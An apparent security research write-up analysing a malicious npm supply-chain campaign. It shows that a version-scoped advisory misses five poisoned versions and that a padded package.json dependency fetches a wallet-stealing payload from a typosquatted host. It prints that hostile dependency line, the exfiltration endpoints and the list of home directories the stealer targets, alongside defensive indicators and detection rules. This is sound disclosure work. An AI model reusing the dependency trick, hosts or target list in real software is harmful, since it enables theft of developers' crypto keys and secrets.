The malware wasn't in the package. It was one line of package.json.
There is a published malware advisory for the npm package @devmikets/hyperliquid-sdk.
MAL-2026-14042, filed on 2026-08-14, names exactly
one affected version: 1.9.6.
The package has six published versions. We went back to it in the last few weeks — it had come up in a set of packages we reviewed earlier in the year — and checked the other five against the registry.
All six are poisoned. Five of them are still installable and no advisory mentions them. Anyone
with 1.9.5 pinned in a lockfile gets no warning from anything, and that is still true today.
Everything below re-derives from the public npm registry, a public vulnerability database, and DNS. No private data and no privileged access.
The published code is the real SDK
@devmikets/hyperliquid-sdk presents as a client for a perpetuals exchange. Its code is
@nktkas/hyperliquid, a well-known TypeScript SDK for the same platform.
Not "similar to". We compared the carrier against upstream 0.32.2, the last release before the
carrier was published, file by file:
| Files shared with the genuine package | 1,733 |
| Byte-identical | 889 |
| Differing only by a rename of the import path | 841 |
| Differing for any other reason | 3 |
The three are README.md, SECURITY.md, and package.json.
The 841 are not approximately the same. The test is mechanical: take the upstream file, substitute
the fake package name for the real one, and the bytes are equal. Those differences are all inside
JSDoc examples, where import { cancel } from "@nktkas/hyperliquid/api/exchange" became
import { cancel } from "@devmikets/hyperliquid-sdk/api/exchange".
The MIT licence came along too, with one line edited:
- Copyright (c) 2024-2025 nktkas
+ Copyright (c) 2025-2026 devmikeSECURITY.md was replaced with an unfilled template — Email: your@email.com, Or Telegram: xxx,
"We will respond within X days" — under a section stating the project handles "Private keys /
Trading logic".
So 1,730 of 1,733 files are upstream's work. A scanner reading the published source of this package reads a legitimate, widely used SDK, and is correct to say so.
The attack is one line, pushed off-screen
Everything malicious lives in package.json, in a single dependency:
"@nktkas/rews": "^2", ⟵ 569 spaces ⟶ "typescript-eslint": "https://registrynpmjs.to/typescript-eslint-8.58.2.tgz",Three things are doing work.
The value is a URL, not a version. npm supports a direct-tarball dependency specifier, so this
instructs the installer to fetch that dependency from an arbitrary host instead of the registry.
Nothing malicious ships inside the package; it arrives during npm install, from somewhere else.
The host typosquats the registry. registrynpmjs.to against registry.npmjs.org. In a lockfile
diff, read quickly, it passes for the registry.
The declaration is padded off-screen. 569 spaces in this version, putting the dependency at column 595 of a 671-character line. Not minified, not encoded — just pushed past where any editor, diff view or review pane will show it without scrolling sideways.
A sibling package, @polymarkets/clob-client-v2, does the same thing: a bundled copy of the genuine
@polymarket/clob-client as cover, and a typescript-eslint dependency padded 562 spaces out to the
same host. All seven of its published versions carry it. Its advisory,
MAL-2026-14050, also names only the newest.
Both delivery routes were published. Only one was kept.
The first published version of the carrier declared two routes to the same payload. One was the
padded URL. The other was an ordinary registry dependency, pinned to an exact version:
"ts-hyper-utils": "1.3.0".
ts-hyper-utils is not a typosquat of anything. It is a plausible-sounding utility package published
to npm on 2026-04-27, five days before the carrier — and version 1.3.0 is the payload itself.
Three files, a postinstall of node build-helper.js, one dependency on form-data as its
exfiltration transport, an empty repository URL.
Its two code files:
| file | SHA-256 |
|---|---|
index.js | f51d79a0784305878b0147ca17daab8215edd9f58453a2a2000a0451a9860007 |
build-helper.js | 4a77b6565e9d425c0bd83e150d09a6e42401dfb2219cf7d813e64dbbe5cd9736 |
https://registrynpmjs.to/typescript-eslint-8.58.2.tgz — the URL the carrier's first five versions
point at — now returns HTTP 404. The operator withdrew it. So this copy on npm, still published,
is the only one left, and five published versions of the carrier still ask for the dead URL.
From the carrier's second version onward, the registry dependency was dropped and only the off-registry URL kept. Nothing else about the delivery changed.
We cannot tell you why. We can tell you what the two routes differ in. A payload hosted on the registry can be scanned, reported, and unpublished. A payload behind a dependency URL cannot be scanned, because it was never submitted to the registry at all; it is fetched from somewhere else at install time, and the only trace left behind is a string in a manifest. Both were published. The one that survived into every later version is the second.
The abandoned route is still there. Published in April, never removed, and listed in no
vulnerability database. And looking at it finds nothing: two further versions went up two and four
minutes after the payload, each shipping a 64-byte comment in place of the 80KB index.js and
omitting the loader entirely, while still declaring the postinstall that would run it. So
npm install ts-hyper-utils gets you a comment, and the pinned 1.3.0 that the carrier asks for
gets you the stealer.
Last week version 1.3.0 was downloaded 69 times. We would not read that as 69 victims — all three
versions were pulled 69, 69 and 72 times, a flatness that looks far more like registry mirrors than
like people — but the package is installable and the pinned version runs.
We found it by reading a dependency list. It needed no access we did not already have.
The update is one file
The carrier's sixth version was published on 2026-08-08. Compared against the fifth, 1,733 of
1,734 files are byte-identical. The only file that changed is package.json. The hijacked
dependency was renamed from typescript-eslint to inquirer, still pointing at the same host, still
padded, nothing else touched.
Fifteen minutes later the sibling carrier received the identical change.
Both advisories were filed on 2026-08-14, six days after that update — and each names only the version that was updated.
Be precise about what that does and does not show. The five earlier versions were each a publish event back on 2026-05-02, and they were not caught then either, so this is not "only changes get noticed". What it shows is narrower and more useful: the advisory was scoped to the one version that drew attention, and nobody went back to check its siblings. Three months on, nobody has.
What it actually takes
The payload's strings are not in the payload. It is wrapped in a custom bytecode virtual machine, and the host it reports to and the files it looks for are assembled at runtime. A search of every string literal in it returns nothing: no URL, no path, no domain.
So we ran it, with every dangerous call replaced by a logger, inside a container with its networking
removed entirely. Not sinkholed — removed: a dns.lookup in that container fails with EAI_AGAIN
before it reaches a resolver. We tested that both ways before trusting it, because an isolation test
that cannot fail proves nothing. Then the program decoded its own strings and handed them to what it
thought were https.request and fs.statSync.
It uploads to port 8443, path /upload, as multipart/form-data, with two fields: the file, and
one called walletType. Two hostnames across the two payload generations, with everything else
about the protocol identical:
| payload | endpoint | resolves today |
|---|---|---|
ts-hyper-utils@1.3.0 | POST https://rabbylgh.to:8443/upload | no A record |
inquirer-14.0.2.tgz | POST https://charitabledonations.to:8443/upload | 194.26.192.11 |
Neither host was contacted at any point. The program told us where it was going. The older name appears to reference a widely used Ethereum wallet. What links the two generations is the code and the protocol — same port, same path, same two-field envelope — not the registrar.
postinstall, and first require() of the module. It waits for its upload transport to finish installing, probes a fixed list of directories under the home directory, and sends each matching file as its own multipart request. The dashed path is what makes it specific: every one of those credential stores was present in our test filesystem and none was touched.The file list is the part worth reading. The older payload checks thirteen directories under the home directory; nine of the thirteen are crypto. The newer one checks thirty-four, and all thirteen of the older ones are in it. What was added:
.config/solana— where the Solana CLI keeps keypairs.foundry,.config/foundryand.foundry/keystores— the standard Solidity toolchain- directories named
blockchain,cryptocurrency,defi,bot, and capitalised variants ofSolana,Ethereum,Web3,Code,Projects - generic source trees:
code,code/bot,dev,Development,projects
The lists are identical on Linux and Windows, and macOS adds Pictures/Screenshots plus, for the
newer payload, Library/Application Support/solana. There is no separate Windows path set because it
builds every path from os.homedir() and never reads APPDATA, LOCALAPPDATA or USERPROFILE — we
set all three and the probe list did not change by a single entry. In the newer payload's runs it pulled .env files out
of three different project trees in one pass.
One honest limit. We gave it a correctly-named Ethereum keystore file and a Solana keypair in the right format, and it looked in both directories but uploaded neither. So "it steals wallet keystores" is an inference from where it searches, not something we watched it do; whatever filename filter it applies inside those directories, we did not recover it.
What it does not look at is as informative. The decoy filesystem also contained .ssh/id_rsa,
.aws/credentials, .npmrc, .git-credentials, saved browser passwords and a keyring. It walked
past all of them, on every platform, in every run. This is not a credential stealer that happens to
catch wallets. It is built for the machine of someone who writes smart contracts and trading bots —
and the two carrier packages impersonate a perpetuals-exchange SDK and a prediction-market client,
which is the same population approached twice.
Why this generalizes
A manifest records what a build system was told to fetch. It is not a record of what will run. The gap between those two is where this package lives.
That gap is not specific to npm. It is the same gap that makes a firmware image, a container layer or a statically linked binary unreviewable from its bill of materials: the document describes an intention, and the artifact does something. Closing it means taking the artifact apart and reporting, with evidence, what is in it — and what could not be attributed.
It also sets a limit on what a version-scoped advisory can tell you. An advisory records what was
examined, not what exists. Nothing in the format is wrong — MAL-2026-14042 is accurate about
1.9.6 — but a reader naturally reads "the advisory says 1.9.6" as "1.9.6 is the problem", and here
that is five versions short.
So the method is just this: when an advisory names one version of a package, check the others. It is a packument fetch and a diff. It took minutes, and it is the only reason the rest of this entry exists.
Indicators
Block or audit for:
- Distribution host
registrynpmjs.to— treat any dependency value pointing at it as malicious - Exfiltration
rabbylgh.to:8443/upload,charitabledonations.to:8443/upload - Carriers
@devmikets/hyperliquid-sdk(all versions1.9.1–1.9.6),@polymarkets/clob-client-v2(all versions1.0.0–1.0.6) - Payload on npm
ts-hyper-utils@1.3.0only —1.3.1and1.3.2are inert and should not be treated as malicious - Payload hashes
index.jsf51d79a0…,build-helper.js4a77b656… - The general rule, which outlives all of the above: a dependency whose value is a URL rather
than a version range. It is legal npm, it is rare in legitimate manifests, and it is the whole
mechanism here. Two checks, and the second matters because the first is easy to miss in review:
- In
package.json, any dependency value that is a URL. Not theresolvedfield — the value. - In the lockfile, any
resolvedhost that is not your registry. Do not grep forhttps://: every entry in an npm or yarn lockfile has aresolvedURL, so that matches everything and tells you nothing.
- In
Methodology: registry metadata and package tarballs retrieved from the public npm registry;
advisories from a public vulnerability database; domain data from DNS and WHOIS. Archive members were
read without execution and no package was installed. The endpoints and file lists above were
recovered by one instrumented run of each payload inside a container with networking removed and
every filesystem, process and network call replaced by a logger returning synthetic data; isolation
was verified with a positive and a negative control beforehand, and neither endpoint was contacted.
The payload was executed only inside that container, which itself runs in a Linux virtual machine,
and never against a real home directory. We describe only the one exfiltration mode we observed — the
walletType field implies others we did not reach. Maintainer handles named in package metadata are
strings in a manifest, not identified people. Nothing here is client work; every artifact examined was
public on a public registry.